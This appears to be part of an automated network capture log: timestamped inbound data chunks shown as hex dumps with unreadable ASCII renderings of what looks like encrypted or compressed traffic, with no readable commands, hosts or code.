2022-12-05 14:13:35 UTC	18	IN	Data Raw: ec 8e bb a1 ca 31 26 8c 00 63 d2 6b dc 9a ae 52 2a 5e 3b 60 09 e6 72 fe 47 53 b5 cb 11 06 5b 4b 76 f2 3e ae 40 37 92 7a 36 e8 12 a5 ac 6d 81 fb 0b 2b c9 50 5b 73 7c bd 0d e3 96 6f 83 ea 22 82 25 11 5d 61 38 3a 7c 94 6a ed 61 e0 af 69 85 d9 f6 3d d4 1a 12 11 61 22 85 07 76 11 77 79 5b b2 a3 24 eb 6b 48 94 61 88 5b e2 eb 45 54 17 88 3f 5b 3c 66 3b 9e 75 60 02 d0 3c 7a 2d 5e 1b 81 0e 61 46 48 59 58 15 04 d9 c2 6e 5d d1 d6 5b 22 ab 1a ca c1 93 03 5b 2e 5b 42 c1 fb 4a 4e 09 04 59 a9 1a fa c9 04 e6 7f bf dc 83 aa 9c 51 c7 4b 6c 9d a7 14 53 74 91 a3 6f b8 c4 2d c7 2a 21 98 aa 62 49 71 d5 41 f3 61 f4 2c 05 0b 48 f5 25 3d 1c 1e 05 24 0a 89 f5 23 b3 a4 01 6e 05 fb 53 9b 63 3d a9 bc d4 8d a9 74 79 04 54 db a9 1d a7 04 2b 00 4f 57 ae 8a 6f 04 43 6b 11 6c dd 52 a2 7b Data Ascii: 1&ckR^;`rGS[Kv>@7z6m+P[s\|o"%]a8:\|jai=a"vwy[$kHa[ET?[<f;u`<z-^aFHYXn]["[.[BJNYQKlSto-!bIqAa,H%=$#nSc=tyT+OWoCklR{
2022-12-05 14:13:35 UTC	19	IN	Data Raw: 42 cc f7 2c 32 60 72 79 5b a8 ee 7a 35 84 79 23 76 6d c9 6e 85 f0 a7 44 32 b4 05 98 7a 95 2a f5 59 5b 26 57 b7 fa ed f4 74 cf a1 38 7b 21 01 3c d7 9f 69 7f 9f 86 05 eb 74 17 27 31 87 b0 f4 0f b5 ba 20 da 68 32 9e 5f 9c 0c ff 3d 50 f6 da 8a dc d0 86 42 32 0b 71 17 e3 c2 fa 78 cb 1e 71 3d 4a 4d b1 f9 d2 d2 80 5b a3 fd ea d9 38 19 cc 8a d9 0e 00 58 66 52 f5 18 f5 c9 0e 81 5b 81 89 20 d9 44 55 fd d2 d1 51 88 a8 97 cb 54 ca e4 4c 9b 4f 7e da 0a d1 c1 13 f3 7a 5f 82 8b d1 98 9b 16 83 77 f6 cb 51 10 fc d0 c6 d1 85 3f e8 23 af e7 25 34 97 12 5f 6f df d2 02 0d a6 a4 23 6a e4 26 82 3b 77 bf 67 47 f0 08 24 ca 7b 46 93 81 a9 3f 75 44 33 59 86 eb 4d ca e2 cd f7 22 11 d3 f5 f1 6d 37 94 09 f1 81 4e 1d a3 6d 9b cb 64 bb 46 37 0e 3c b2 32 6f 8b 46 d5 c9 4d a7 b0 60 b2 b0 Data Ascii: B,2`ry[z5y#vmnD2z*Y[&Wt8{!<it'1 h2_=PB2qxq=JM[8XfR[ DUQTLO~z_wQ?#%4_o#j&;wgG${F?uD3YM"m7NmdF7<2oFM`
2022-12-05 14:13:35 UTC	20	IN	Data Raw: e2 6e f9 05 50 af 12 42 ca bb 69 4e 0a 23 50 93 70 2c 62 d1 b1 e0 78 2b 82 5a e9 4f bb 4f db b2 c8 52 83 60 8d e2 c9 1e 73 da 68 4b 71 fc 6c 62 85 88 c8 5a d6 d7 6b 22 f8 02 f4 68 08 24 53 97 96 cd 08 0c 00 49 2c 00 3f 80 62 aa 0a 57 4b 73 f6 df 42 20 af 43 e3 23 27 a9 39 56 62 c5 c1 18 7c 1e 5d 77 df a9 b0 c6 42 ba 3b f2 5c 41 a5 7c 53 23 75 fd f1 1e c3 ae 25 d7 d9 ca 55 65 34 d9 fa 73 28 1d cc a2 00 14 79 93 8b 3c b0 e3 92 51 99 29 b5 2f a4 90 2f 5b 97 5a a3 ca 58 49 d5 f3 65 25 3c bf 0b 46 44 e0 c8 cc 4c 77 7b 76 bd 13 1b 3d 6f 21 0f 5c 97 59 f8 45 be c4 c4 8b 16 54 c0 67 e0 ab c8 bb d7 b6 bc 79 6e 77 d1 fc c8 5f 2a fa d6 6d 7e e2 96 c5 dd f4 14 a5 f7 f9 4e 29 2c a6 06 25 91 c9 d4 8f fa 25 c7 b8 db 4e c4 6a 47 b9 39 8a c9 2c 18 82 73 87 f0 8a b6 9f f2 Data Ascii: nPBiN#Pp,bx+ZOOR`shKqlbZk"h$SI,?bWKsB C#'9Vb\|]wB;\A\|S#u%Ue4s(y<Q)//[ZXIe%<FDLw{v=o!\YETgynw_*m~N),%%NjG9,s
2022-12-05 14:13:35 UTC	21	IN	Data Raw: 28 85 50 4b 90 d5 5b fe 94 44 0a 0d f9 4c ce 86 25 3f aa db b2 d0 52 02 a0 6e 03 ff f9 bd e7 b6 12 24 64 06 8f 68 6a 7d fd 6e 38 56 13 aa 76 2d 7a ed 5e 71 4a 77 7a b0 bc bb 49 88 04 0b ae cd 23 6e a4 53 3a 68 8e b6 10 7b 58 ff 6c 48 f2 b4 17 ac db 91 36 96 8e 58 3d ba 9e 64 2b b8 a0 a0 3f 31 0d 78 28 9a 47 e3 90 8d e5 f2 1e 0d 84 54 9a f4 b7 ff 18 66 9b 80 d0 4b 8d bd 0a fd 6f 0b 22 5f 76 32 f3 e2 af af f1 45 80 df f2 02 45 23 2c cc 06 b8 28 1d e7 12 c9 e1 81 12 52 9b d6 08 24 47 48 1a ec d4 31 99 b1 16 6e 15 1c 65 80 3a 90 17 37 3e d6 49 65 8e 57 ba 13 4d 8c 15 50 dd 1d 0b 5f 7e 94 3d 53 1f 0c 6e f7 25 5e bd 0d a2 f4 06 f1 44 53 18 1c 14 52 00 1e 9c 63 0f 94 76 ec 28 e2 05 58 1a f5 19 cc 92 86 a8 69 ff 12 4c 5a 4c a9 77 22 9e af d9 8e 73 20 f5 cd d2 26 Data Ascii: (PK[DL%?Rn$dhj}n8Vv-z^qJwzI#nS:h{XlH6X=d+?1x(GTfKo"_v2EE#,(R$GH1ne:7>IeWMP_~=Sn%^DSRcv(XiLZLw"s &
2022-12-05 14:13:35 UTC	23	IN	Data Raw: 2b c5 76 d5 ae 31 13 da 39 62 3a aa 85 92 cd 40 2d db 15 18 dc c6 25 ce da 61 4e 14 5c 19 cb 96 83 f4 ae 76 1c d5 5a 5a fc 83 fe b0 3e 78 80 cb 35 25 9a 2c 51 c3 55 63 08 2d 3b bd 25 cc 84 34 47 48 71 c8 5d 80 c0 34 0b ba 5d 2c 0e 5f 4a 12 82 90 32 13 76 3a 4f 8f 94 67 6e 2d 02 d9 a1 de fb 03 49 58 60 93 e8 80 09 0b 4f 1b 41 01 2d 06 4b 25 2f f8 1e e1 09 6a 1d af 40 93 06 c7 7a 76 21 98 63 ac f8 93 e7 9f 85 62 83 79 0b 95 2a 60 89 65 f6 1e fc dd dc ea cc 28 0e c4 ce 87 83 01 24 9d 44 c3 15 a9 2d 74 1b 23 1a 09 c3 2a 8d 63 e0 2f 47 4a 87 86 6c 85 02 d1 36 e5 a2 58 aa c7 0a fd 1d 70 29 e1 09 02 a8 07 25 d2 11 95 d9 ad 8c a7 04 71 68 6f 19 d3 88 fd 51 a5 14 bd ea 92 4f 6b 4e 8e 41 74 22 e0 0c d3 a0 6e 90 00 d2 45 f1 55 50 55 cb fe 16 bb a2 66 13 51 0a 8c 51 Data Ascii: +v19b:@-%aN\vZZ>x5%,QUc-;%4GHq]4],_J2v:Ogn-IX`OA-K%/j@zv!cby`e($D-t#c/GJl6Xp)%qhoQOkNAt"nEUPUfQQ
2022-12-05 14:13:35 UTC	24	IN	Data Raw: 7b 82 bd d2 6f 64 bf 4d d4 d4 ea eb 33 15 86 7b 68 82 8e d9 14 f4 ff 9a d8 fd de c8 dc 16 b8 04 d4 37 40 93 36 b0 fc 6b 47 5d 70 8a a4 59 e6 bd 8b da 49 26 a6 bd dc df 28 6a 57 5a 8e 49 fa 6a 83 8a 2c 9d af 0c eb f8 cd 3f 73 32 2b 18 63 40 d5 eb 0a d6 44 0a 4a e4 df 31 bb d5 10 7e 18 f9 85 19 b9 67 dd 99 b6 9d 9b b3 89 8d c4 07 11 50 60 c8 a0 1c 90 8d 0b 6f a7 ce ac f8 03 77 7e 63 91 a5 e6 09 ea 5d 02 eb 70 ab 50 5a cb 0d d3 30 ff 7a a2 cf f4 4e ec 60 46 a3 ec 96 f7 67 19 ae 5f 17 3c d1 47 96 4d 1d e5 e4 f2 4d 15 ff 8f cc 57 1a b8 7f d3 9b 63 73 f5 13 e1 8d 2e e6 fa 49 96 f0 cf c3 1f 09 7e 29 34 59 f7 d9 59 c3 cb 0f d8 b4 d5 a4 65 57 8c fb 04 ff 1c 81 f9 45 70 08 b5 c1 8d 90 44 9b c9 4f 77 5e 0b c7 38 1e e8 8e b7 68 3d de 28 d7 a5 59 db b8 c6 d3 09 1e e5 Data Ascii: {odM3{h7@6kG]pYI&(jWZIj,?s2+c@DJ1~gP`ow~c]pPZ0zN`Fg_<GMMWcs.I~)4YYeWEpDOw^8h=(Y
2022-12-05 14:13:35 UTC	25	IN	Data Raw: c3 19 bd 4c ef 6d de bb d9 4f ff a1 d1 bc bd 64 f3 bb c7 86 40 fc df 78 c1 5f f4 90 b8 cc be 63 8d cf 4c 86 45 a7 a0 57 87 32 08 0e e5 74 11 19 fe 56 be 52 dc 31 a1 1f 89 05 dd dc d7 da b5 7e a4 10 b6 f9 8e 74 e8 d9 96 93 ef bc 1c 43 5d 3b ee 8c fc 38 97 5d eb 27 f8 bc ac 4c ab 03 95 3d 3d 6b 26 8e d9 0d 94 40 d5 dc b6 1e fb c5 29 b1 15 e9 c0 4a 42 37 2e 7a 58 93 0d 2c 9d 86 38 41 64 8c 5e cc ce bc 4c 81 95 3b c3 de 4e 08 14 43 dd 29 6d db fc a7 53 11 3c b0 fc 7f 26 a1 7f e9 4b 27 52 20 ef 61 48 a8 a9 ac 00 0a 15 7b aa 6d 84 52 a3 4b 88 43 76 43 8f c6 8e 8e 3a 63 51 44 a0 ce bc d5 b4 ad 53 e7 aa 4b c0 5b de 45 ef 2c de 8a 5b b1 a1 70 c2 fc 30 bf 78 8a e8 57 a0 fa 20 f5 14 2c 4e f0 40 c4 06 11 cc 05 e2 eb 23 95 26 3c 4b 04 3e fc 19 88 90 cf 0f ae ce 52 14 Data Ascii: LmOd@x_cLEW2tVR1~tC];8]'L==k&@)JB7.zX,8Ad^L;NC)mS<&K'R aH{mRKCvC:cQDSK[E,[p0xW ,N@#&<K>R
2022-12-05 14:13:35 UTC	26	IN	Data Raw: b7 17 71 b2 58 f1 49 e0 7f 07 2b 52 54 a0 09 00 1a 54 5e 7c 82 13 6f a4 3c 8a db ad 26 02 70 0d 42 f2 d6 2d e6 d8 08 77 ad c0 64 93 8f 5d 79 3b da 90 66 ca c1 3e 59 b8 e4 26 b0 df f9 b5 03 c1 b9 bf e1 87 c1 31 4b 6b f4 e7 0d 58 c4 57 3f 81 ac b0 b7 e0 c4 0a b8 63 0a 5c e5 09 db ff ca 62 99 a9 d6 16 25 87 01 25 da 24 4f f8 a7 01 cb ea 0b c3 f5 49 fc a8 ab 8b a7 d7 e5 9f 15 71 d8 11 19 de 81 f1 5b 05 49 f8 cb 1b 80 64 5f a7 a3 27 58 ed 1a e1 7a 15 b6 3f 0c 5d 30 13 b7 61 45 24 be 05 a9 f8 3f d7 58 9e b4 f7 4d aa 46 1b 49 81 64 dd cc 17 df 94 e8 a7 f4 de d2 59 99 7b fd 12 a9 42 9b ba ee fa f8 51 91 f7 ad d5 21 04 b4 a8 a9 15 c5 71 66 50 13 a7 1c 41 ad b9 b1 d4 77 37 ca 15 9f 19 3e b4 17 d7 18 60 f2 75 8b 55 54 58 9d 4c 80 49 06 8f b5 6f 64 b0 ef 22 eb 75 0e Data Ascii: qXI+RTT^\|o<&pB-wd]y;f>Y&1KkXW?c\b%%$OIq[Id_'Xz?]0aE$?XMFIdY{BQ!qfPAw7>`uUTXLIod"u
2022-12-05 14:13:35 UTC	27	IN	Data Raw: 64 e0 d9 17 a3 0a d7 da 36 61 21 dd d4 4d da 31 49 be 42 7c 5b 18 d5 15 2e f3 f5 20 6d c9 04 d7 2a 61 8d fd 88 51 1a f9 d6 8d 15 9f 05 dc f7 f2 ce 55 da 35 87 be 13 97 ef a6 41 86 9e 03 82 9c b5 94 d8 13 b4 ed 7d b6 79 a7 f0 a1 aa ce 5e 2f d3 07 1d c3 6e d2 5b 5f 59 24 91 bb 92 f2 f6 81 62 fd 76 26 74 c2 3b 33 35 ee 1b f5 fd 58 5e 8c 00 19 11 8f 2c 9c 82 6f ee 0d 15 ed b5 29 a3 b7 9c 77 83 64 8a 4a c2 d1 50 45 a1 0d ea d5 c0 9a e4 c6 06 26 37 13 c4 b3 d8 81 3e c1 a8 53 c0 46 ba e6 5d 26 46 28 e8 ea 98 1a ea be 16 ed 0b db 3f 7e 56 6c 67 4d 86 2f 3c 76 ff 7b 8e 03 cd 79 b0 59 7e f5 71 f3 71 73 56 90 0f cc dd 54 84 09 ad 8b 71 91 53 07 68 56 09 38 de b5 e4 a8 a9 dd c7 d6 75 97 63 ba 9b 17 83 f2 98 5f f7 3e 31 b8 01 9f 8d 8d cd 8d 94 6c 02 9e 58 91 cb 09 4b Data Ascii: d6a!M1IB\|[. m*aQU5A}y^/n[_Y$bv&t;35X^,o)wdJPE&7>SF]&F(?~VlgM/<v{yY~qqsVTqShV8uc_>1lXK
2022-12-05 14:13:35 UTC	29	IN	Data Raw: c5 c4 21 76 56 3b 74 62 89 7f 03 df 30 e0 60 7d 77 23 bf 7c 90 a7 d1 28 3c 5e 0d 8d 26 ca 59 fe 49 44 a6 57 1a 2a 90 f7 11 77 2b d1 b8 39 e5 d6 e8 3e 21 c0 5c d2 d4 76 71 1e db 56 c6 5e ea 3e c1 6d e8 a3 06 88 9d c8 40 5a 00 5f 08 fb 53 e5 1c 2e f5 62 45 81 52 7c 31 a2 8a eb 5a 28 0e 23 a0 c9 6a 46 68 6b b5 13 fd 74 76 cb 94 59 10 6e bc 2c 93 02 83 91 9f 9a 69 c5 c8 ae 35 ad 36 a0 a4 72 bd 69 46 ae 69 3e 02 98 e0 1d 86 a3 46 5a e2 c8 c8 ef fe 19 90 30 7f d7 a9 bf 75 c2 23 a7 cd fb bf af 1b 2d 37 18 25 15 79 e7 65 dd b3 c0 34 6c eb d5 88 01 45 ca 1e 93 3f 0e 36 5b 17 1a c0 6b 38 e7 fb ee b1 7d 7e 7d a6 4d 48 bc a9 fd 11 02 98 89 6f e1 ee e7 b8 b0 dd 2b 60 87 46 89 d1 25 ba e8 4b b7 d5 f3 25 28 c7 43 1b 66 24 6c 66 93 be 35 ef 2f 91 b8 9b f6 e3 2e 20 04 a4 Data Ascii: !vV;tb0`}w#\|(<^&YIDW*w+9>!\vqV^>m@Z_S.bER\|1Z(#jFhktvYn,i56riFi>FZ0u#-7%ye4lE?6[k8}~}MHo+`F%K%(Cf$lf5/.
2022-12-05 14:13:35 UTC	30	IN	Data Raw: 0e 23 fc b4 a5 40 33 a9 fb 09 cf cd 55 4c fb a0 fb 0d 7f 93 29 e1 81 de 7e e3 54 63 54 fe d5 69 6b b4 58 48 86 81 25 08 5a 3e 90 ea a6 82 38 93 37 3d 10 ab 4b c5 24 88 cf 58 c4 5f 94 09 da 3b f0 47 50 89 44 87 2c 37 aa ed b4 a4 5a 45 d6 ed a2 9c b3 df a2 40 05 3d 1f c4 ea ba 42 07 78 61 7d 13 7d 58 c2 89 9e a4 b4 7c 7e 37 ef 09 c6 2d d4 48 a5 c5 ae b0 e6 d8 39 17 56 4e ba cf 6a 9c b7 53 30 72 ec 67 24 8f 0f ce e7 3b cb ac 5e c4 e0 cd 3e 34 be d7 89 b0 5d d5 78 57 66 d9 9f 55 cc 1b a3 e1 62 df 1c 88 2a 5b f6 41 5e bb 72 48 7d 9d 6d 0b 23 cb 72 71 6c e9 d7 1c 67 f9 3c 40 fc 51 f7 ee b4 6a 35 64 9b 05 5f b1 f6 8a ac 83 51 1c c5 df 08 d0 4e 3a 7f c2 7c d4 73 fc 4d 0f d9 fd f8 ab ad 16 ca 29 f2 88 1a b8 9d 4b 5f 64 9a ef 2c b0 11 91 37 49 c5 fa fe cd 13 81 66 Data Ascii: #@3UL)~TcTikXH%Z>87=K$X_;GPD,7ZE@=Bxa}}X\|~7-H9VNjS0rg$;^>4]xWfUb*[A^rH}m#rqlg<@Qj5d_QN:\|sM)K_d,7If
2022-12-05 14:13:35 UTC	31	IN	Data Raw: 54 87 10 0c 7f cf 14 d6 19 36 cb 5e 7e bb 8b 40 09 90 5a ac 79 d4 6a fa 59 f1 bf f9 28 a4 88 3d db 26 2a 5a a0 96 eb 45 5b 3c 15 76 1f 0d 37 41 1a 9e f1 90 64 9b 5d 69 ea c6 7c ef b2 cc c0 65 18 f3 0c 94 46 a9 b6 55 a7 3f ba ab 89 40 2e ce 15 55 81 f6 b4 c9 0e d0 1e 01 83 64 ff da 7b c4 54 0e 6c 20 7b d1 fd b6 ba bb 5e 25 ad 5d a0 13 af 41 08 63 ce 52 41 64 d2 55 c1 7e 57 a9 32 3e 2d 6f ed c8 16 04 34 bd b4 45 c4 fc 9e 27 96 1f ff 96 33 e2 23 e7 2b 78 80 68 dc 10 89 82 b6 a9 19 c8 d0 28 da 19 b4 f4 17 9c 32 ee 6a ea 38 77 45 d6 67 8d 25 7c 97 22 ba c4 92 25 2f ce 8b d5 e6 8f 9f ad c6 07 89 92 98 e6 41 91 35 03 71 a7 c0 73 84 55 a1 9a 7f e3 a4 c0 8b 91 2b 04 91 b0 41 80 b2 5e dd ed 09 33 d0 38 ca db 1d f3 29 c0 0d 39 a1 55 b4 5a 00 d7 91 1f 88 0f 07 90 b6 Data Ascii: T6^~@ZyjY(=&*ZE[<v7Ad]i\|eFU?@.Ud{Tl {^%]AcRAdU~W2>-o4E'3#+xh(2j8wEg%\|"%/A5qsU+A^38)9UZ
2022-12-05 14:13:35 UTC	32	IN	Data Raw: 07 ee 48 db 73 e1 be 92 8e 49 11 3d ab b3 18 78 ed 7a 2b 6e a3 7f 60 95 69 b9 22 5e c2 4d e0 a5 41 74 e7 03 2d 8d 39 4e d1 a6 6b 9a ea 9d dd 4f 4a 08 77 73 00 93 e1 71 8f 72 42 ff 5e 0e ed e6 1c 5d 34 ea 95 fb 6c 3a f7 c4 79 fe f0 48 71 cc 33 3f 58 00 6e ce 78 82 d3 68 a0 e9 0a ab b2 ba 55 76 07 f6 ec 75 f0 8c 32 1d 72 16 8e 70 c9 0a 8d ec f4 21 48 09 a9 14 46 e1 f5 f8 f3 72 a9 76 a0 c5 6a 5b 07 ca a0 9a ea f9 8f 59 35 46 c2 67 88 59 aa 7d 33 55 59 1a ec 15 f8 46 fc 0b f0 3c 0f 9d d5 87 bb e9 32 1c 2b f2 9e a2 12 4c 83 49 88 16 11 f0 9a 3b 8b 81 62 7e e0 c2 da f8 48 bd 68 e6 ca 2b 79 d1 65 e8 58 76 21 93 8f 8c 43 8f 72 2b ee 71 cc 3c 8a e1 7f bc 22 11 67 30 4f 10 ff a4 fb c8 2a 4c d8 24 85 01 b0 80 39 4a c7 26 23 71 3a 84 4e 2d 2a f2 73 aa d5 a6 2d c7 5f Data Ascii: HsI=xz+n`i"^MAt-9NkOJwsqrB^]4l:yHq3?XnxhUvu2rp!HFrvj[Y5FgY}3UYF<2+LI;b~Hh+yeXv!Cr+q<"g0OL$9J&#q:N-s-_
2022-12-05 14:13:35 UTC	34	IN	Data Raw: 55 d3 70 08 40 8f 3e 21 ed 79 77 3b ef 42 77 d5 e7 ad c3 95 54 71 05 48 91 1a c2 f6 18 5c 8c 1e ea e9 cf b1 5c b6 67 b8 48 a6 e6 1c 85 ce b2 07 c2 46 bf bc 7b 50 4d f0 f9 e7 59 12 59 70 28 e5 c9 41 c2 77 33 27 3c 51 4a df cd 8f 53 af 91 a4 b0 06 5e 19 c3 e0 81 6f 51 20 38 59 02 2c a3 a4 8a 70 a1 81 25 70 70 94 5a 5b 50 c9 Data Ascii: Up@>!yw;BwTqH\\gHF{PMYYp(Aw3'<QJS^oQ 8Y,p%ppZ[P
2022-12-05 14:13:35 UTC	34	IN	Data Raw: 7e 0c 1c 5d d4 69 f7 a2 fb 39 14 f9 52 a2 8b 79 60 e5 e6 b4 02 a5 6f 89 5d fc a2 47 01 94 b7 e3 a7 5f da 88 b5 92 22 c7 08 25 69 7e 16 02 b3 92 35 b3 f7 e0 52 df fe 83 62 d2 06 5e 00 0c 21 2b f3 9c 35 85 57 d6 1e e9 44 01 c7 90 63 96 f4 8a 93 24 5a 2d a9 16 29 cf f2 c9 f1 6b 0a 5f d4 ff 27 8a c5 2b 17 cf a2 eb 0a 1d 3d 10 bb e0 0c 2b 35 74 5e 0b e2 c2 cb 38 3a c3 93 58 38 10 48 9b ae c5 f2 3c ab 85 0c 81 60 40 de fe 0f 70 3b 43 a6 a6 c6 12 8c 61 62 09 52 92 75 15 20 db 48 5f 75 e1 fd 42 71 a4 b8 49 03 df 03 da 68 96 a2 2f 8d ae bc 21 1c 77 33 a8 90 7f 18 6c 45 5e de 17 9b 1d d3 dd 10 ce 0b 57 2e f5 4d 23 3f 37 58 d8 e9 d7 6d 36 af 74 9a 0c ad f4 92 3b 0f ea 62 70 bd fa fa c2 27 05 30 66 34 75 50 11 04 1c 0e 68 df 32 d1 0c 7f d9 c6 7f 24 18 ec 5a b3 45 56 Data Ascii: ~]i9Ry`o]G_"%i~5Rb^!+5WDc$Z-)k_'+=+5t^8:X8H<`@p;CabRu H_uBqIh/!w3lE^W.M#?7Xm6t;bp'0f4uPh2$ZEV
2022-12-05 14:13:35 UTC	35	IN	Data Raw: 33 79 5d be 49 57 76 ef 8c 2f 99 fb fe 2c e1 0f f8 91 2e 58 d3 39 f4 f0 bc 8a 13 67 99 4b 78 0a e3 ce 06 f1 20 a0 d2 f6 61 25 62 4d ce d4 68 d5 13 46 ce ce b6 ef 17 1b e3 8b 40 18 bd 65 db 78 fd 61 5c ea 89 44 71 d9 fb c5 c1 38 62 55 e5 f0 b9 28 10 e0 a7 7b 93 94 4d 86 0f 66 c6 50 6c 75 93 a0 65 1a 01 34 33 60 7f d8 db f8 60 7f b9 82 be cf 9e f0 b8 fc 8b d0 3d 83 db 3f f6 18 e3 99 50 7f 5e 58 4d 29 73 4f f1 f9 28 dc 68 e4 d7 d8 48 cc 2c c0 55 ac af 23 3e 84 42 f0 38 c7 45 85 91 2d 5a ca 2c 95 69 56 24 ec bf 65 d6 7c 5b 0a 38 16 34 da df 07 25 73 0c c9 bd 79 90 3b 70 e4 40 eb b6 24 70 c0 93 87 d1 b3 5f fb 93 97 94 29 78 14 d0 4a 35 48 8e 9a e5 28 28 16 1c 27 fe 4e 78 dd f2 e8 2a ef ab f7 60 34 79 0f c5 a2 df c6 35 16 f9 d8 0b 02 8d 97 0c 72 68 dc c3 dc 7b Data Ascii: 3y]IWv/,.X9gKx a%bMhF@exa\Dq8bU({MfPlue43``=?P^XM)sO(hH,U#>B8E-Z,iV$e\|[84%sy;p@$p_)xJ5H(('Nx*`4y5rh{
2022-12-05 14:13:35 UTC	36	IN	Data Raw: 5d 6b 02 54 5e 0d 38 dc c9 72 98 93 f2 23 79 67 d0 3c f3 a1 5e 05 3c 74 68 d8 25 0e eb 7d aa b8 dd cf 2e 9e c9 98 2f 4e 43 a5 52 61 9e 17 4a 39 e1 ae 3b 71 cd f4 fe 27 f8 b1 f9 8f 26 fb 5e 8d c0 92 d8 87 9b 28 75 8f fc 6a fa 5b 22 fc e6 c5 d9 92 5b ad f4 3e a1 da 19 93 06 d0 c8 93 f1 65 df cc 34 ba 18 1d e2 39 41 41 f9 d4 6e b2 87 fb 5d b8 72 a0 8e 29 83 5d 7f 44 56 fb 3e 1a 2b 63 d1 7a 3f 2e 5b fa 77 ac 58 12 57 a3 2d ff f4 8e cd 2f c9 29 5a ec 6d 9f ee 2e d0 72 fc da 89 8b 8b 24 e7 de f9 b5 06 ab 7a 48 d1 dd 65 90 46 42 14 33 7c 4c 13 d9 7c 51 ec d6 c7 64 71 90 27 50 a1 76 50 44 e1 28 c5 91 d0 7d 18 da 99 e6 a9 11 24 0f e9 5e fc 9c 6d e9 1d e4 79 7a a7 15 e6 e1 26 06 b2 95 22 54 3f 60 f0 2f f7 fc 12 d3 0c 73 23 a7 d0 33 19 af 4c 38 a6 e5 c7 3d 41 1c b1 Data Ascii: ]kT^8r#yg<^<th%}./NCRaJ9;q'&^(uj["[>e49AAn]r)]DV>+cz?.[wXW-/)Zm.r$zHeFB3\|L\|Qdq'PvPD(}$^myz&"T?`/s#3L8=A
2022-12-05 14:13:35 UTC	37	IN	Data Raw: 58 40 b8 94 bb 18 39 0c 7a 10 31 82 70 0f 5a cb 45 32 c8 bd 95 e7 f3 94 49 95 41 c0 bd ad 13 7a 13 f3 e3 50 75 41 65 f2 df aa 78 7a 53 9a 81 25 6c 63 da 29 df 82 db 07 82 80 98 10 22 c4 e4 37 84 81 b1 01 bf 66 96 e1 6c 73 2f cb 48 6d a5 73 71 e3 be 49 7a 93 47 d8 49 bd f0 44 a0 94 e4 bc f9 46 25 16 27 73 c3 23 cc 22 5d 4e 99 26 e3 f0 6f f1 b1 a9 ef d3 71 f5 97 e6 82 59 a4 3c 69 ee ce a2 67 07 e8 e3 94 34 0d 2b e5 79 32 09 9f 07 67 85 6b f4 b8 a2 4a a4 ba bb 84 e5 49 53 56 51 ff 71 b3 e6 fc 58 e7 33 c7 a5 11 97 56 3a dc f6 a6 13 ac 14 2f 48 21 49 4a 73 09 42 fc d2 56 02 da 25 28 03 98 c7 67 00 c7 17 96 46 68 10 f4 67 78 7d 03 00 2c 50 ee 67 9f e2 42 66 55 8c 32 0d c6 97 56 48 5a 7f ec 72 65 d0 0b 71 bb 04 dd ce 84 19 74 fb a7 bb 1a 3a 1f 35 7c 9b 7d f3 ba Data Ascii: X@9z1pZE2IAzPuAexzS%lc)"7fls/HmsqIzGIDF%'s#"]N&oqY<ig4+y2gkJISVQqX3V:/H!IJsBV%(gFhgx},PgBfU2VHZreqt:5\|}
2022-12-05 14:13:35 UTC	39	IN	Data Raw: 1d 6f cc 79 57 68 0b 49 ae 1e f9 3d 11 c1 d4 d2 35 b0 16 b5 cb 81 61 3c f6 9e 58 19 26 a4 8f 0f d3 63 25 67 1c 33 c3 8c 03 66 27 be dc a5 91 ca 5f 93 36 f8 c6 62 6e 29 a4 0c d2 ce ab f7 c7 cd 3c a8 5d 01 4b a6 fa a5 f5 52 9e 22 3e 97 5e 0d 40 a7 f8 39 ec 2f 4c a8 cd 00 a7 d9 26 4c 55 55 50 08 2c 16 6f 84 ad 51 42 cd c2 e9 ec a4 99 eb ee 17 5a d4 9b 0d 28 1a 9f dc d5 e5 69 7d 7e 2e 64 6a 32 77 e5 2b 07 19 ff 56 36 f0 33 5c e0 a6 64 3e bc 66 f5 b2 e0 f7 ba 02 9d 38 32 97 df d7 11 4a ef 3a 2e e9 f3 97 ff 7c b2 fe 37 8f a9 3c 52 52 91 0e 58 85 51 19 19 dd cf db e0 14 35 72 6f b7 a4 a5 3d ef 67 f4 62 f1 be 4a ca 95 d2 e2 36 f4 9a f4 ef ec b5 4e 49 f6 0a 5d 44 e0 70 07 be c1 fb e9 c2 01 b1 45 3b a8 08 68 7b 8e de 34 70 b8 e3 f2 be ee d0 ba c3 43 b6 31 ca 18 ca Data Ascii: oyWhI=5a<X&c%g3f'_6bn)<]KR">^@9/L&LUUP,oQBZ(i}~.dj2w+V63\d>f82J:.\|7<RRXQ5ro=gbJ6NI]DpE;h{4pC1
2022-12-05 14:13:35 UTC	40	IN	Data Raw: 59 e3 24 49 7b 8b 88 c8 a5 22 a7 9a d5 ae 48 1f 9f 67 93 28 5c a8 18 b8 e7 2c 3c 57 ba df d2 72 62 fc 31 e0 77 e5 8c 60 71 40 2c 57 70 b8 d7 44 52 dd 6f 35 e6 a5 43 3e 38 81 2b 25 65 03 41 11 c8 3b 8f be a6 9d 04 ad 1a 8c 86 27 68 0c 17 7b 07 ee 65 bf 2b 78 cd de f3 7c a0 9a a5 6a 1e b5 b9 48 3b a8 d0 d9 65 3a a9 b4 4e 03 5e ab 22 9c 8e 88 46 5c 71 69 78 9e 2c 47 38 59 20 85 bc 84 1c 78 77 02 dd d1 c3 e2 0f 2e 1a cb 0e ab 1d 3a 8b 41 84 4a 9b e8 47 1f 5a 7e 9b 01 d3 64 00 f5 1d 70 ca 27 f7 d6 61 7b a8 8d fd 05 04 fb b3 53 b9 7a ae 51 70 79 da f7 2c 39 9d 22 1e a4 1d 27 fc 1b be 8b 4a eb 30 8c 69 d0 78 34 68 f8 56 26 e6 89 2b 82 a4 bd eb 2b 54 5d 54 f6 f6 4a 82 54 e0 50 71 f6 b8 40 cc d9 4e e6 19 19 3d 50 3e 59 ad f9 64 c6 4c 7d 21 8b f2 20 08 cd 5d d4 95 Data Ascii: Y$I{"Hg(\,<Wrb1w`q@,WpDRo5C>8+%eA;'h{e+x\|jH;e:N^"F\qix,G8Y xw.:AJGZ~dp'a{SzQpy,9"'J0ix4hV&++T]TJTPq@N=P>YdL}! ]
